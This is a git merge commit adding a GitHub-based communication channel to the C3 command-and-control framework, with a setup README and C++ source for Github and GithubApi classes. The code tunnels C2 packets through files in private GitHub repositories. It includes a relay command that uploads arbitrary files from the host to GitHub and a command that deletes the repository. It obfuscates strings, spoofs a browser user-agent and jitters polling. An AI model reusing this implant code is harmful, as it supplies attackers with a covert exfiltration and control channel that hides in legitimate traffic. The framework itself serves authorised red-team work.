Merge branch 'github'

master
Pawel Kurowski 2020-08-17 13:03:03 +02:00
commit 82894c0039
7 changed files with 631 additions and 0 deletions

14
Res/GithubChannel.md Normal file
View File

@ -0,0 +1,14 @@
# Github Channel
## Setup
Prior to using Github API within C3, the steps below must be taken.
1. Create a Github account
2. Generate Personal Access Token with API Permissions (repo, delete_repo)
3. Insert the generated Personal Access Token to C3 channel.
## Rate Limit
There is rate limiting implemented for Github API. Each channel instance will send GET request every 3 to 6 seconds, to receive packets from server. Multiple channels accessing one Github account can consume whole limit causing other connections to throttle. Refer to https://developer.github.com/v3/rate_limit/ for more information.

View File

@ -19,6 +19,7 @@
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Github.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Slack.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Slack.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Dropbox.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Dropbox.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.cpp" />
@ -37,6 +38,7 @@
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Github\GithubApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.cpp" />
@ -65,6 +67,7 @@
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Github.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteArray.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteArray.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteConverter.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteConverter.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteVector.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteVector.h" />
@ -72,6 +75,7 @@
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\Utils.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\Utils.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\StringConversions.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\StringConversions.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Github\GithubApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sql\Sql.hpp" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sql\Sql.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />

View File

@ -38,6 +38,8 @@
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Github.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Github\GithubApi.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" /> <ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
@ -125,5 +127,7 @@
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Github.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Github\GithubApi.h" />
</ItemGroup> </ItemGroup>
</Project> </Project>

View File

@ -0,0 +1,136 @@
#include "Stdafx.h"
#include "Github.h"
#include "Common/FSecure/Crypto/Base64.h"
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
FSecure::C3::Interfaces::Channels::Github::Github(ByteView arguments)
: m_inboundDirectionName{ arguments.Read<std::string>() }
, m_outboundDirectionName{ arguments.Read<std::string>() }
{
auto [GithubToken, channelName, userAgent] = arguments.Read<std::string, std::string, std::string>();
m_githubObj = FSecure::GithubApi{ GithubToken, channelName, userAgent };
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
size_t FSecure::C3::Interfaces::Channels::Github::OnSendToChannel(ByteView data)
{
// There is a cap on uploads of files >150mb at which point different APIs are required.
data = data.SubString(0, 100 * 1024 * 1024);
m_githubObj.WriteMessageToFile(m_outboundDirectionName, data);
return data.size();
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
std::vector<FSecure::ByteVector> FSecure::C3::Interfaces::Channels::Github::OnReceiveFromChannel()
{
std::vector<ByteVector> ret;
for (auto& [ts, id] : m_githubObj.GetMessagesByDirection(m_inboundDirectionName))
{
ret.push_back(m_githubObj.ReadFile(id));
m_githubObj.DeleteFile(id);
}
return ret;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
FSecure::ByteVector FSecure::C3::Interfaces::Channels::Github::OnRunCommand(ByteView command)
{
auto commandCopy = command; //each read moves ByteView. CommandCopy is needed for default.
switch (command.Read<uint16_t>())
{
case 0:
UploadFile(command);
return {};
case 1:
DeleteAllFiles();
return {};
default:
return AbstractChannel::OnRunCommand(commandCopy);
}
}
void FSecure::C3::Interfaces::Channels::Github::UploadFile(ByteView args)
{
m_githubObj.UploadFile(args.Read<std::string>());
}
void FSecure::C3::Interfaces::Channels::Github::DeleteAllFiles()
{
m_githubObj.DeleteAllFiles();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
const char* FSecure::C3::Interfaces::Channels::Github::GetCapability()
{
return R"_(
{
"create":
{
"arguments":
[
[
{
"type": "string",
"name": "Input ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets for the channel"
},
{
"type": "string",
"name": "Output ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets from the channel"
}
],
{
"type": "string",
"name": "Github token",
"min": 1,
"description": "This token is what channel needs to interact with Github's API"
},
{
"type": "string",
"name": "Repositary name",
"min": 4,
"randomize": true,
"description": "Repositary to create for channel"
},
{
"type": "string",
"name": "User-Agent Header",
"min": 1,
"defaultValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36",
"description": "The User-Agent header to set"
}
]
},
"commands":
[
{
"name": "Upload File from Relay",
"id": 0,
"description": "Upload file from host running Relay directly to Github",
"arguments":
[
{
"type" : "string",
"name": "Remote Filepath",
"description" : "Path to upload."
}
]
},
{
"name": "Remove All Files",
"id": 1,
"description": "Delete channel folder and all files within it.",
"arguments": []
}
]
}
)_";
}

View File

@ -0,0 +1,56 @@
#pragma once
#include "Common/FSecure/Github/GithubApi.h"
namespace FSecure::C3::Interfaces::Channels
{
///Implementation of the Github Channel.
struct Github : public Channel<Github>
{
/// Public constructor.
/// @param arguments factory arguments.
Github(ByteView arguments);
/// Destructor
virtual ~Github() = default;
/// OnSend callback implementation.
/// @param packet data to send to Channel.
/// @returns size_t number of bytes successfully written.
size_t OnSendToChannel(ByteView packet);
/// Reads a single C3 packet from Channel.
/// @return packet retrieved from Channel.
std::vector<ByteVector> OnReceiveFromChannel();
/// Get channel capability.
/// @returns Channel capability in JSON format
static const char* GetCapability();
/// Values used as default for channel jitter. 30 ms if unset. Current jitter value can be changed at runtime.
/// Set long delay otherwise Github rate limit will heavily impact channel.
constexpr static std::chrono::milliseconds s_MinUpdateDelay = 3500ms, s_MaxUpdateDelay = 6500ms;
/// Processes internal (C3 API) Command.
/// @param command a buffer containing whole command and it's parameters.
/// @return command result.
ByteVector OnRunCommand(ByteView command) override;
protected:
/// The inbound direction name of data
std::string m_inboundDirectionName;
/// The outbound direction name, the opposite of m_inboundDirectionName
std::string m_outboundDirectionName;
/// Uploads file.
/// @param path to file to be uploaded.
void UploadFile(ByteView args);
/// Delete all files relating to the channel.
void DeleteAllFiles();
private:
/// An object encapsulating Github's API, providing methods allowing the consumer to upload and download files from Github, among other things.
FSecure::GithubApi m_githubObj;
};
}

View File

@ -0,0 +1,310 @@
#include "stdafx.h"
#include "GithubApi.h"
#include "Common/FSecure/CppTools/StringConversions.h"
#include "Common/FSecure/WinHttp/HttpClient.h"
#include "Common/FSecure/Crypto/Base64.h"
#include "Common/FSecure/CppTools/Utils.h"
#include <fstream>
using namespace FSecure::StringConversions;
using namespace FSecure::WinHttp;
namespace {
std::wstring ToWideString(std::string const& str) {
return Convert<Utf16>(str);
}
}
FSecure::GithubApi::GithubApi(std::string const& token, std::string const& channelName, std::string const& userAgent) {
if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty())
this->m_ProxyConfig = (winProxy == OBF(L"auto")) ? WebProxy(WebProxy::Mode::UseAutoDiscovery) : WebProxy(winProxy);
std::string lowerChannelName = channelName;
std::transform(lowerChannelName.begin(), lowerChannelName.end(), lowerChannelName.begin(), [](unsigned char c) { return std::tolower(c); });
SetToken(token);
SetUserAgent(userAgent);
SetUser();
SetChannel(CreateChannel(lowerChannelName));
}
void FSecure::GithubApi::SetUser() {
std::string url = OBF("https://api.github.com/user");
json response = SendJsonRequest(url, NULL, Method::GET);
if (response.contains(OBF("login"))) {
this->m_Username = response[OBF("login")];
}
else {
throw std::runtime_error(OBF("Throwing exception: bad credentials\n"));
}
}
void FSecure::GithubApi::SetUserAgent(std::string const& userAgent) {
this->m_UserAgent = userAgent;
}
void FSecure::GithubApi::SetToken(std::string const& token) {
this->m_Token = token;
}
void FSecure::GithubApi::SetChannel(std::string const& channelName) {
this->m_Channel = channelName;
}
std::map<std::string, std::int64_t> FSecure::GithubApi::ListChannels() {
std::map<std::string, std::int64_t> channelMap;
std::string url = OBF("https://api.github.com/user/repos");
json response = SendJsonRequest(url, NULL, Method::GET);
for (auto& channel : response) {
std::string channelName = channel[OBF("name")];
std::int64_t cId = channel[OBF("id")];
channelMap.insert({ channelName, cId });
}
return channelMap;
}
std::string FSecure::GithubApi::CreateChannel(std::string const& channelName) {
std::map<std::string, std::int64_t> channels = this->ListChannels();
std::string url;
std::string errorMsg;
json response;
if (channels.find(channelName) == channels.end())
{
url = OBF("https://api.github.com/user/repos");
json j;
j[OBF("name")] = channelName;
j[OBF("auto_init")] = true;
j[OBF("private")] = true;
response = SendJsonRequest(url, j, Method::POST);
if (response.contains(OBF("message"))) {
errorMsg = response[OBF("message")] + OBF("\n");
throw std::runtime_error(OBF("Throwing exception: unable to create channel - ") + errorMsg);
}
}
return channelName;
}
FSecure::ByteVector FSecure::GithubApi::ReadFile(std::string const& fileNameSHA) {
std::string url;
json response;
std::string delimiter = OBF("!");
std::string filename;
std::string fileSHA;
std::string fileDownloadURL;
//string contains filename:sha:download_url value
std::vector<std::string> fileNameSHASplit = Utils::SplitAndCopy(fileNameSHA, delimiter);
if (fileNameSHASplit.size() > 0) {
filename = fileNameSHASplit.at(0);
fileSHA = fileNameSHASplit.at(1);
fileDownloadURL = fileNameSHASplit.at(2);
}
else {
throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSHA\n"));
}
ByteVector content = SendHttpRequest(fileDownloadURL, "", Method::GET, true);
return content;
}
void FSecure::GithubApi::WriteMessageToFile(std::string const& direction, ByteView data, std::string const& providedFilename) {
std::string filename;
std::string url;
json j;
if (providedFilename.empty()) {
///Create a filename thats prefixed with message direction and suffixed
// with more granular timestamp for querying later
std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch());
filename = direction + OBF("-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts;
}
else {
filename = providedFilename;
}
url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel +
OBF("/contents/") + filename;
j[OBF("message")] = OBF("Initial Commit");
j[OBF("branch")] = OBF("master");
j[OBF("content")] = cppcodec::base64_rfc4648::encode(data);
json response = SendJsonRequest(url, j, Method::PUT);
}
void FSecure::GithubApi::UploadFile(std::string const& path) {
std::filesystem::path filepathForUpload = path;
auto readFile = std::ifstream(filepathForUpload, std::ios::binary);
ByteVector packet = ByteVector{ std::istreambuf_iterator<char>{readFile}, {} };
readFile.close();
std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch());
std::string fn = filepathForUpload.filename().string(); // retain same file name and file extension for convenience.
std::string filename = OBF("upload-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts + OBF("-") + fn;
WriteMessageToFile("", packet, filename);
}
void FSecure::GithubApi::DeleteFile(std::string const& fileNameSHA) {
std::string url;
json j;
json response;
std::string delimiter = OBF("!");
std::string fileSHA;
std::string filename;
std::vector<std::string> fileNameSHASplit = Utils::SplitAndCopy(fileNameSHA, delimiter);
if (fileNameSHASplit.size() > 0) {
filename = fileNameSHASplit.at(0);
fileSHA = fileNameSHASplit.at(1);
}
else {
throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSHA\n"));
}
url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel
+ OBF("/contents/") + filename;
j[OBF("message")] = OBF("Initial Commit");
j[OBF("sha")] = fileSHA;
response = SendJsonRequest(url, j, Method::DEL);
}
void FSecure::GithubApi::DeleteAllFiles() {
std::string url;
json response;
//delete repo
url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") +
this->m_Channel;
response = SendJsonRequest(url, NULL, Method::DEL);
if (response.contains(OBF("message"))) {
throw std::runtime_error(OBF("Throwing exception: unable to delete repository\n"));
}
}
std::map<std::string, std::string> FSecure::GithubApi::GetMessagesByDirection(std::string const& direction) {
std::map<std::string, std::string> messages;
json response;
std::string filename;
std::size_t found;
std::string fileSHA;
std::string fileDownloadURL;
std::string delimiter = OBF("!");
std::string url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") +
this->m_Channel + OBF("/contents");
response = json::parse(SendHttpRequest(url, OBF("*/*"), Method::GET, true));
for (auto& match : response) {
if (match.contains(OBF("name"))) {
filename = match[OBF("name")];
fileSHA = match[OBF("sha")];
fileDownloadURL = match[OBF("download_url")];
//Search whether filename contains direction id
found = filename.find(direction);
if (found != std::string::npos) {
std::string ts = filename.substr(filename.length() - 10); // 10 = epoch time length
messages.insert({ts, filename + delimiter + fileSHA + delimiter + fileDownloadURL});
}
}
}
return messages;
}
FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, FSecure::WinHttp::ContentType contentType, std::vector<uint8_t> const& data, FSecure::WinHttp::Method method, bool setAuthorizationHeader) {
return SendHttpRequest(host, GetContentType(contentType), data, method, setAuthorizationHeader);
}
FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, std::wstring const& contentType, std::vector<uint8_t> const& data, FSecure::WinHttp::Method method, bool setAuthorizationHeader) {
while (true) {
HttpClient webClient(ToWideString(host), m_ProxyConfig);
HttpRequest request;
request.m_Method = method;
if (!data.empty()) {
request.SetData(contentType, data);
}
request.SetHeader(Header::UserAgent, ToWideString(this->m_UserAgent));
if (setAuthorizationHeader) { // Only set Authorization header when needed (S3 doesn't like this header)
request.SetHeader(Header::Authorization, OBF(L"token ") + ToWideString(this->m_Token));
}
auto resp = webClient.Request(request);
if (resp.GetStatusCode() == StatusCode::OK || resp.GetStatusCode() == StatusCode::Created) {
return resp.GetData();
}
else if (resp.GetStatusCode() == StatusCode::TooManyRequests || resp.GetStatusCode() == StatusCode::Conflict) {
std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s));
}
else {
throw std::exception(OBF("[x] Non 200/201/429 HTTP Response\n"));
}
}
}
FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, std::string const& acceptType, FSecure::WinHttp::Method method, bool setAuthorizationHeader) {
while (true) {
HttpClient webClient(ToWideString(host), m_ProxyConfig);
HttpRequest request;
request.m_Method = method;
request.SetHeader(Header::Accept, ToWideString(acceptType));
request.SetHeader(Header::UserAgent, ToWideString(this->m_UserAgent));
if (setAuthorizationHeader) { // Only set Authorization header when needed (S3 doesn't like this header)
request.SetHeader(Header::Authorization, OBF(L"token ") + ToWideString(this->m_Token));
}
auto resp = webClient.Request(request);
if (resp.GetStatusCode() == StatusCode::OK || resp.GetStatusCode() == StatusCode::Created) {
return resp.GetData();
}
else if (resp.GetStatusCode() == StatusCode::TooManyRequests) {
std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s));
}
else {
throw std::exception(OBF("[x] Non 200/201/429 HTTP Response\n"));
}
}
}
json FSecure::GithubApi::SendJsonRequest(std::string const& url, json const& data, FSecure::WinHttp::Method method) {
if (data == NULL) {
return json::parse(SendHttpRequest(url, ContentType::MultipartFormData, {}, method));
}
else {
std::string j = data.dump();
return json::parse(SendHttpRequest(url, ContentType::ApplicationJson, { std::make_move_iterator(j.begin()), std::make_move_iterator(j.end()) }, method));
}
}

View File

@ -0,0 +1,107 @@
#pragma once
#include "Common/json/json.hpp"
#include "Common/FSecure/WinHttp/WebProxy.h"
#include "Common/FSecure/WinHttp/Constants.h"
using json = nlohmann::json; //for easy parsing of json API: https://github.com/nlohmann/json
namespace FSecure
{
class GithubApi
{
public:
/// Constructor for the Github Api class.
GithubApi(std::string const& token, std::string const& channelName, std::string const& userAgent);
/// Retrieve the Github Username and initialise for the instance
void SetUser();
/// set OAuth token for Github
/// @param token - the textual Github OAuth token.
void SetToken(std::string const& token);
/// set UserAgent for Github HTTP Request
/// @param userAgent
void SetUserAgent(std::string const& userAgent);
/// Set the channel (i.e. Github repository) that this object uses for communications
/// @param channelName - the channel name Id (not name), for example CGPMGFGSH.
void SetChannel(std::string const& channelName);
/// Will list the created folders in Github and if already preset return the channel name. If not already created,
/// creates a new folder on Github.
/// @param channelName - the actual name of the folder to create, such as "files".
/// @return - the channel name of the new or already existing channel.
std::string CreateChannel(std::string const& channelName);
/// List all the repository in the workspace the object's token is tied to.
/// @return - a map of {channelName -> channelId}
std::map<std::string, std::int64_t> ListChannels();
/// Download file by its path.
/// @param filename - path of file and the size. Format "filename:filesize"
/// @return - string of file content
FSecure::ByteVector ReadFile(std::string const& fileNameSHA);
/// Write a message as the contents of a file and upload to Github.
/// @param direction - the name of the file to upload
/// @param data - the text of the message
/// @param filename - optional custom filename for uploaded file
void WriteMessageToFile(std::string const& direction = "", ByteView data = {}, std::string const& providedFilename = "");
/// Upload a file in its entirety to Github
/// @param path - path to file for upload
void UploadFile(std::string const& path);
/// Delete a file
/// @param filename - the full path of the file on Github.
void DeleteFile(std::string const& filename);
/// Delete channel folder and all files within Github
void DeleteAllFiles();
/// Get all of the files representing messages by a direction. This is a C3 specific method, used by a server relay to get client messages and vice versa.
/// @param direction - the direction to search for (eg. "S2C").
/// @return - a map of timestamp and file id, where id allows replies to be read later
std::map<std::string, std::string> GetMessagesByDirection(std::string const& direction);
/// Default constructor.
GithubApi() = default;
private:
/// Hold proxy settings
WinHttp::WebProxy m_ProxyConfig;
/// The Github username
std::string m_Username;
/// The Github channel (repo) through which messages are sent and received, will be sent when the object is created.
std::string m_Channel;
/// The Github OAuth Token that allows the object access to the account. Needs to be manually created as described in documentation.
std::string m_Token;
/// UserAgent
std::string m_UserAgent;
/// Send http request, uses preset token for authentication (wrapper to easily set content type)
FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, WinHttp::ContentType contentType, std::vector<uint8_t> const& data, WinHttp::Method method, bool setAuthorizationHeader = true);
/// Send http request, uses preset token for authentication
FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, std::wstring const& contentType, std::vector<uint8_t> const& data, WinHttp::Method method, bool setAuthorizationHeader = true);
/// Send http request, uses preset token for authentication with github accept header to view raw file content
FSecure::ByteVector SendHttpRequest(std::string const& host, std::string const& acceptType, FSecure::WinHttp::Method method, bool setAuthorizationHeader);
/// Send http request with json data, uses preset token for authentication
json SendJsonRequest(std::string const& url, json const& data, WinHttp::Method method);
};
}